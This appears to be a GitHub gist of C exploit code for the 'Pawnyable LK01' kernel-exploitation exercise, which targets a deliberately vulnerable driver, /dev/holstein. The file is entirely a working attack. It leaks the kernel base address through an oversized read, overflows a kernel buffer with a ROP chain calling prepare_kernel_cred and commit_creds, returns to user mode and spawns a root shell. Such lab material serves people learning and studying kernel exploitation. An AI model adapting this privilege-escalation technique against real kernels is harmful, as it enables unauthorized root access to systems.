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@brant-ruan
Last active November 21, 2022 13:18
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Pawnyable LK01
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
char *VULN_DRV = "/dev/holstein";
void spawn_shell();
int64_t global_fd = 0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t pop_rdi_ret = 0xffffffff812ef4c0; // will fail
// uint64_t pop_rdi_ret = 0xffffffff812bbdc; // works
uint64_t pop_rcx_ret = 0xffffffff812ea083; // will fail
// uint64_t pop_rcx_ret = 0xffffffff8132cdd3; // works
uint64_t mov_rdi_rax_xxx_ret = 0xffffffff8160c96b;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10;
uint64_t kernel_base = 0xffffffff81000000;
uint64_t base_off = 0;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_kernel_base() {
printf("[*] trying to leak up to %ld bytes memory\n", 0x440);
char buf[0x440];
memset(buf, 0, 0x440);
read(global_fd, buf, 0x440);
uint64_t *leak = (uint64_t *)buf;
base_off = leak[0x408/8] - 0xffffffff8113d33c;
kernel_base = 0xffffffff81000000 + base_off;
printf("[+] got kernel base address: 0x%lx\n", kernel_base);
printf("[+] got kernel base address offset: 0x%lx\n", base_off);
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void overwrite_ret() {
puts("[*] trying to overwrite return address of write op");
char payload[0x500];
memset(payload, 'A', 0x408);
unsigned long *chain = (unsigned long*)&payload[0x408];
*chain++ = pop_rdi_ret + base_off; // return address
*chain++ = 0x0;
*chain++ = prepare_kernel_cred + base_off;
*chain++ = pop_rcx_ret + base_off;
*chain++ = 0;
*chain++ = mov_rdi_rax_xxx_ret + base_off;
*chain++ = commit_creds + base_off;
*chain++ = swapgs_restore_regs_and_return_to_usermode + 22 + base_off;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
save_userland_state();
open_dev();
leak_kernel_base();
overwrite_ret();
close(global_fd);
return 0;
}
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